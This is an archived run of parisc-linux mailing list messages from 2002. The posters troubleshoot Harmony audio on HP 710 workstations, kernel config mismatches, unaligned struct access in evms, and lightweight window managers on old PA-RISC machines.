X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15948

Ryan Bradetich wrote:
> I have a theory on this .... but will probably be dis-reguarded by
> someone more knowledgable :)
> 
> I will try to explain what I believe the problem is, and provid a
> quick hack/work around for you to get it working.
> 
> 
> First can you tell me if CONFIG_IOMMU_CCIO is defined in your
> kernel as this will affect my answer.
> 


Hello,

CONFIG_IOMMU_CCIO is set to "y" in the kernel config. I set it to "n", 
recompiled the modules and "modprobe harmony" works.
However, aumix doesn't find a mixer device. Is there any way to find out where 
the problem is?



-- 
Linux - Cause life is too short for reboots



From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: 29 Aug 2002 12:38:38 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <1030646318.19450.398.camel@beavis>
References: <3D6CDF5A.5090205@gmx.de>	<200208281906.14844.helge.deller@sap.com> 
	<3D6E258B.6010600@gmx.de> <1030640071.22367.392.camel@beavis> 
	<3D6E665F.1030000@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621662 13112 80.91.229.3 (22 Nov 2014 02:01:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: christian@familieschmitt.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 12:38:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FF994829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 12:38:40 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id E371E2E3E5; Thu, 29 Aug 2002 12:38:38 -0600 (MDT)
In-Reply-To: <3D6E665F.1030000@gmx.de>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15949

You should not have to compile the modules differently then from the
kernel.  What happens when you compile both the kernel and modules
with CONFIG_IOMMU_CCIO=y?

[Note: The ccio_get_fake will return the appropriate NULL if your
system does not have any ccio devices.]

Sorry, I don't know anything about aumix.   Do you have a /dev/mixer?
sane permissions? etc?

Thanks,

- Ryan


On Thu, 2002-08-29 at 12:22, Christian Schmitt wrote:
> Ryan Bradetich wrote:
> > I have a theory on this .... but will probably be dis-reguarded by
> > someone more knowledgable :)
> > 
> > I will try to explain what I believe the problem is, and provid a
> > quick hack/work around for you to get it working.
> > 
> > 
> > First can you tell me if CONFIG_IOMMU_CCIO is defined in your
> > kernel as this will affect my answer.
> > 
> 
> 
> Hello,
> 
> CONFIG_IOMMU_CCIO is set to "y" in the kernel config. I set it to "n", 
> recompiled the modules and "modprobe harmony" works.
> However, aumix doesn't find a mixer device. Is there any way to find out where 
> the problem is?
> 
> 
> 
> -- 
> Linux - Cause life is too short for reboots
> 
> 




From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: 29 Aug 2002 12:45:13 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <1030646713.19450.401.camel@beavis>
References: <3D6CDF5A.5090205@gmx.de>	<200208281906.14844.helge.deller@sap.com> 
	<3D6E258B.6010600@gmx.de> <1030640071.22367.392.camel@beavis> 
	<3D6E665F.1030000@gmx.de>  <1030646318.19450.398.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621662 13114 80.91.229.3 (22 Nov 2014 02:01:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:02 +0000 (UTC)
Cc: christian@familieschmitt.de, parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 12:45:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 914B3488C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 12:45:14 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 606F92E3E5; Thu, 29 Aug 2002 12:45:13 -0600 (MDT)
In-Reply-To: <1030646318.19450.398.camel@beavis>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15950

As a side note (and interesting test) this should work properly when
bot the kernel and modules are compiled with CONFIG_IOMMU_CCIO not
set either.

I believe the problem you are seeing is when the kernel is compiled
with CONFIG_IOMMU_CCIO is not set, and the modules are compiled with
CONFIG_IOMMU_CCIO=y.

- Ryan

On Thu, 2002-08-29 at 12:38, Ryan Bradetich wrote:
> You should not have to compile the modules differently then from the
> kernel.  What happens when you compile both the kernel and modules
> with CONFIG_IOMMU_CCIO=y?
> 
> [Note: The ccio_get_fake will return the appropriate NULL if your
> system does not have any ccio devices.]
> 
> Sorry, I don't know anything about aumix.   Do you have a /dev/mixer?
> sane permissions? etc?
> 
> Thanks,
> 
> - Ryan
> 
> 
> On Thu, 2002-08-29 at 12:22, Christian Schmitt wrote:
> > Ryan Bradetich wrote:
> > > I have a theory on this .... but will probably be dis-reguarded by
> > > someone more knowledgable :)
> > > 
> > > I will try to explain what I believe the problem is, and provid a
> > > quick hack/work around for you to get it working.
> > > 
> > > 
> > > First can you tell me if CONFIG_IOMMU_CCIO is defined in your
> > > kernel as this will affect my answer.
> > > 
> > 
> > 
> > Hello,
> > 
> > CONFIG_IOMMU_CCIO is set to "y" in the kernel config. I set it to "n", 
> > recompiled the modules and "modprobe harmony" works.
> > However, aumix doesn't find a mixer device. Is there any way to find out where 
> > the problem is?
> > 
> > 
> > 
> > -- 
> > Linux - Cause life is too short for reboots
> > 
> > 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Thu, 29 Aug 2002 16:28:39 -0600 (MDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200208292228.QAA23496@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621662 13117 80.91.229.3 (22 Nov 2014 02:01:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 16:28:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DCAA4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 16:28:44 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel8.hp.com (Postfix) with ESMTP id C04CEA0008B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 18:28:39 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id QAA23496
	for parisc-linux@lists.parisc-linux.org; Thu, 29 Aug 2002 16:28:39 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15951

(Message inbox:75808)
Date:    Thu, 29 Aug 2002 20:22:23 +0200
To:      Ryan Bradetich <rbradetich@uswest.net>,
	 parisc-linux@lists.parisc-linux.org
Reply-To: christian@familieschmitt.de
Return-Path: parisc-linux-admin@lists.parisc-linux.org Thu
>From:    Christian Schmitt <chris.81@gmx.de>
Subject: Re: [parisc-linux] Harmony on 710 working?

Oops, I guess I missed that the model in question was a 710. 710's don't
have harmony audio. 705's & 710's have a different codec (Siemens PSB
2160) that is only capable of "telephone quality" audio, i.e. mono, fixed
8 Khz sampling rate.  There is currently no driver for this hardware.

FYI, The 720, 725, 730, 735, 750 & 755 don't have any kind of audio (although
there is a graphics card with onboard CD quality audio that was made for the
715s and 715t models that can also be put into these machines).

The 705, & 710 have the Siemens codec. The 715 is the first model with
"CD" quality audio.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Disks on a K580 Help Required
Date: Fri, 30 Aug 2002 13:48:55 +1000
Lines: 20
Approved: news@gmane.org
Message-ID: <20020830134855.H4249@piglet>
References: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC3@wing-ep.tip.csiro.au>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621663 13120 80.91.229.3 (22 Nov 2014 02:01:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve.Grady@csiro.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 21:48:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta03ps.bigpond.com (mta03ps.bigpond.com [144.135.25.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id C670D4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 21:48:57 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([144.135.25.84]) by
          mta03ps.bigpond.com (Netscape Messaging Server 4.15 mta03ps May
          23 2002 23:53:28) with SMTP id H1N19H00.EAW; Fri, 30 Aug 2002
          13:48:53 +1000 
Original-Received: from CPE-203-51-30-127.nsw.bigpond.net.au ([203.51.30.127]) by psmam06.mailsvc.email.bigpond.com(MailRouter V3.0n 116/9532175); 30 Aug 2002 13:48:53
Original-Received: (from pete@localhost)
	by piglet.sspl.net.au (8.9.3/8.9.3) id NAA27252;
	Fri, 30 Aug 2002 13:48:55 +1000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <49AA3A3C863E5B4C911320AEF99E5DA3010CCCC3@wing-ep.tip.csiro.au>; from Steve.Grady@csiro.au on Mon, Aug 26, 2002 at 07:33:37AM +1000
X-Operating-System: Linux/2.2.13 (i586)
X-Uptime: 12:12pm  up 5 days, 14:21,  5 users,  load average: 0.01, 0.02, 0.00
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15952

* Steve.Grady@csiro.au (Steve.Grady@csiro.au) wrote:


 
> BTW Thanks for a great port my little 735 just sits there and works (mostly
> running SETI)

Hehe.. my 715/64 does the same.. mind you it's also my web server too.
But mostly the only "real" work it does is seti. :)


Regards,

Pete.

-- 
				Due to a lack of imagination, 
				this signature will remain 
				under construction indefinitely.


From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GNOME 1.4
Date: Thu, 29 Aug 2002 22:08:29 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020830040829.3BE694829__26372.1689385877$1416621663$gmane$org@dsl2.external.hp.com>
References: <1nismusojam12vial5vnqarbmfd8pb8mh7@4ax.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621663 13123 80.91.229.3 (22 Nov 2014 02:01:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: alaskan@telusplanet.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 22:08:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 3BE694829; Thu, 29 Aug 2002 22:08:29 -0600 (MDT)
In-Reply-To: Message from alaskan@telusplanet.net 
   of "Thu, 29 Aug 2002 10:37:07 MDT." <1nismusojam12vial5vnqarbmfd8pb8mh7@4ax.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15953

alaskan@telusplanet.net wrote:
> I finally got GNOME 1.4 working on a 712/60,
...
> Its pretty, but slow .   .  . .

it's not faster on a 486/DX4/75Mhz.
You really need to use a lighter weight window manager on
the older boxes. fvwm2 is my current favorite though in this
case I'd reccomend twm.

grant


From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Fri, 30 Aug 2002 07:46:16 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <3D3815BD00009582@ocpmta5.be.tiscali.com>
References: <200208291710.g7THAnVF025339@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621663 13126 80.91.229.3 (22 Nov 2014 02:01:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 23:53:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F6664829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 23:53:15 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 30 Aug 2002 07:46:16 +0200
In-Reply-To: <200208291710.g7THAnVF025339@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15954

>-- Original Message --
>Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
>To: jsoe0708@tiscali.be
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: Thu, 29 Aug 2002 13:10:49 -0400 (EDT)
>
>
>> p is of type partition define as follow:
>> struct partition {
>>     unsigned char boot_ind;     /* 0x80 - active */
>>     unsigned char head;     /* starting head */
>>     unsigned char sector;       /* starting sector */
>>     unsigned char cyl;      /* starting cylinder */
>>     unsigned char sys_ind;      /* What partition type */
>>     unsigned char end_head;     /* end head */
>>     unsigned char end_sector;   /* end sector */
>>     unsigned char end_cyl;      /* end cylinder */
>>     unsigned int start_sect;    /* starting sector counting from 0 */
>>     unsigned int nr_sects;      /* nr of sectors in partition */
>> };
>
>The problem is that a struct of the above type is being allocated
>at an unaligned address.

Sorry I do not understand, can you tell me more or where can I found additional
 explanation?

>  That's not normal.  The cast isn't the
>problem.
>

Thanks in advance,
    Joel



From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Fri, 30 Aug 2002 07:53:41 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <3D3815BD0000958D@ocpmta5.be.tiscali.com>
References: <20020829181149.032A74829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621664 13130 80.91.229.3 (22 Nov 2014 02:01:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:04 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 00:00:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54F2A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 00:00:41 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 30 Aug 2002 07:53:41 +0200
In-Reply-To: <20020829181149.032A74829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15955

>-- Original Message --
>To: jsoe0708@tiscali.be
>Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
>
>Date: Thu, 29 Aug 2002 12:11:48 -0600
>From: Grant Grundler <grundler@dsl2.external.hp.com>
>
>
>jsoe0708@tiscali.be wrote:
>> >for (i=0 ; i<16 ; i++){
>> >    if (*uip+i != 0x00) return FALSE;
>> >}
>> >return TRUE;
>> >
>> Quick test and yes that works (reduce response time 1/10).
>
>You've avoided the first visible symptom but not solved the problem.
>The next reference to the int embedded in the struct will cause
>an unaligned access fault.
>

Ah ok but where is located the actual problem (gcc, ld, kernel ?).
I am not a computer science engineer and have not enough knowledge to understand
this problem of unalign access and unalign adress. Can you give me some source
of information explaining that stuff?

Thanks for adivises,
    Joel



From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GNOME 1.4
Date: Fri, 30 Aug 2002 08:02:53 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3D3815BD00009598@ocpmta5.be.tiscali.com>
References: <20020830040829.3BE694829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621664 13132 80.91.229.3 (22 Nov 2014 02:01:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 00:09:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 710704829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 00:09:45 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 30 Aug 2002 08:02:53 +0200
In-Reply-To: <20020830040829.3BE694829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15956

>-- Original Message --
>To: alaskan@telusplanet.net
>Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
>Subject: Re: [parisc-linux] GNOME 1.4 
>From: Grant Grundler <grundler@dsl2.external.hp.com>
>Date: Thu, 29 Aug 2002 22:08:29 -0600
>
>
>alaskan@telusplanet.net wrote:
>> I finally got GNOME 1.4 working on a 712/60,
>...
>> Its pretty, but slow .   .  . .
>
>it's not faster on a 486/DX4/75Mhz.
>You really need to use a lighter weight window manager on
>the older boxes. fvwm2 is my current favorite though in this
>case I'd reccomend twm.
>
I also appreciate xfce. Just need more than 8 colors but I read Alan Cox
mail about hp dither CR technic but do not really how to use this material.
I some one has already some draft code?

Cheers,
    Joel




From - Thu Nov 08 21:24:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Fri, 30 Aug 2002 00:30:51 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20020830063051.D29D84829@dsl2.external.hp.com>
